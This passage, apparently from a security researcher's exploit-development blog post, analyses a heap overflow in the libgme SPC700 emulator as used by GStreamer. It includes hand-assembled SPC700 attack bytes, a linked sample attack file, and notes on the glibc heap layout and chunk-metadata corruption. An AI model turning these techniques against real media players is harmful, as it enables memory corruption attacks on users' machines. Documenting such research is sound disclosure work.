<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> m.cpu_regs.pc = (uint16_t) GET_PC();</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> m.cpu_regs.sp = ( uint8_t) GET_SP();</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> m.cpu_regs.a = ( uint8_t) a;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> m.cpu_regs.x = ( uint8_t) x;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> m.cpu_regs.y = ( uint8_t) y;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">BLARRRRGG!!!! Well, we see that SP and X register clamping is implemented here. In effect, this means that we have a finite CPU cycle budget within which we have to cause our out-of-bounds register and then abuse some side effect of that.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We can live with this. Instead of using the MOV (X)+,A instruction to tediously increment the X register all the way past 0xffff (which is where the write to X will bust out of virtual CPU addresses and hopefully into the host heap), we can use the instruction only for the purposes of generating a large X register value. And we can then use a different side effect of a large X register, with this instruction:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">D5 FF FF:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV 0xFFFF+X,A</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The astute reader will note that this instruction would already appear dangerous even with in-bounds values of the X register. Taking the largest in-bounds value of 0xff, this would appear to write to virtual address 0x100fe, which is out-of-bounds. Well, looking at the runtime data structure in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Snes_Spc.h</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, we see this is taken care of with the concept of padding:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> struct state_t</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> struct</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> // padding to neutralize address overflow</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> union {</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8_t padding1 [0x100];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint16_t align; // makes compiler align data for 16-bit access</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> } padding1 [1];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8_t ram [0x10000];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> uint8_t padding2 [0x100];</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> } ram;</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> };</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> state_t m;</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So we definitely need an out-of-bounds X register value. Let’s try again to get a heap overflow crash, with this program:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">CD FF E8 41 AF D5 FF FF 2F FA:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV X,#0xFF</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV A,#0x41</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">here:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV (X)+,A</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV 0xFFFF+X,A</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> BRA here</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Sample file: </span><a href="https://security.appspot.com/security/spc/silent_corruption_opcode_AF.spc" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">silent_corruption_opcode_AF.spc</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…. and no crash? What the blarrggity blarrrggg? The extent of our bad luck becomes apparent with a bit of debugging under the test binary we are using, </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst-play-1.0</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. It turns out that the heap in the thread arena for the decoding looks like this:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">| header | stuff | stuff | </span><span style="background-color: lime; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">SPC decoder</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> |</span><span style="background-color: red; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">m</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">| </span><span style="background-color: lime; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">file data</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="background-color: yellow; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">free</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> | PROT_NONE |</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This layout is stable and it makes sense: the SPC decoder object is 70792 bytes. This is too small to be allocated with </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">mmap()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, but big enough that there is very unlikely to be a heap “hole” to satisfy the allocation request. Therefore, it will go at the end of the heap arena when it is allocated. In the case of </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst-play-1.0</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, there is a subsequent allocation, of ~64kB, where the input file data is stored. This again is a large allocation so will go after the SPC decoder object at the end of the heap. There is no advantage to corrupting into the input file data; it is just a sequence of characters, no pointers and the attacker already has control over the content of the input file. And the input file data is large, so we do not have enough CPU cycles in our budget to corrupt past this allocation and mess with the top of heap chunk (</span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">av->top</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> in glibc malloc terms).</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So our sole option is to corrupt the 8 byte size + flags value (in red above) that lives between the heap chunks containing the SPC decoder object and the input file data. This will be tough! Not to say it is impossible, but the last time I tried to exploit glibc metadata corruption in a decent ASLR environment, I found it hard enough that I had to </span><a href="https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">pull some tricks to “cheat” a little</span></a><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. We do not like this path, then. In fact, the situation is even more dire for two reasons:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Corruption of the size value </span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">is verified in the debugger as occurring</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> but is not causing a crash.</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">It turns out that the gstreamer decoder wrapper for libgme contains a bug. If the decoding starts successfully, then </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gme_delete()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is never called and the chunks surrounding the corrupted value are never freed</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. A memory leak. Unbelieveable and BLARRRRGGGGG! (Reference: lack of </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gme_delete()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> call in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_gme_dec_dispose()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gstgme.c</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">)</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Even though we wrote the byte value 0x41 to our out-of-bounds locations, the debugger shows that in fact, 0xff was written instead. Eh? It turns out that </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Snes_Spc::cpu_write()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function has logic to preserve the “padding” bytes, that we briefly mentioned above, as 0xff values. So, if a virtual address >= 0x10000 is written, the logic is:</span></div>
</li>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: lower-alpha; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Write the value to the host heap: </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">RAM [addr] = (uint8_t) data;</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: lower-alpha; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If the written address was >= 0x10000, put the 0xff value back, in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cpu_write_high()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">: </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">RAM [i + rom_addr] = cpu_pad_fill; // restore overwritten padding</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: lower-alpha; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Also if written address was >= 0x10000, subtract 0x10000 and do the write again, effectively providing standard “wrap around” semantics at the address space boundary: </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cpu_write( data, i + rom_addr - 0x10000, time );</span></div>
</li>
</ol>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
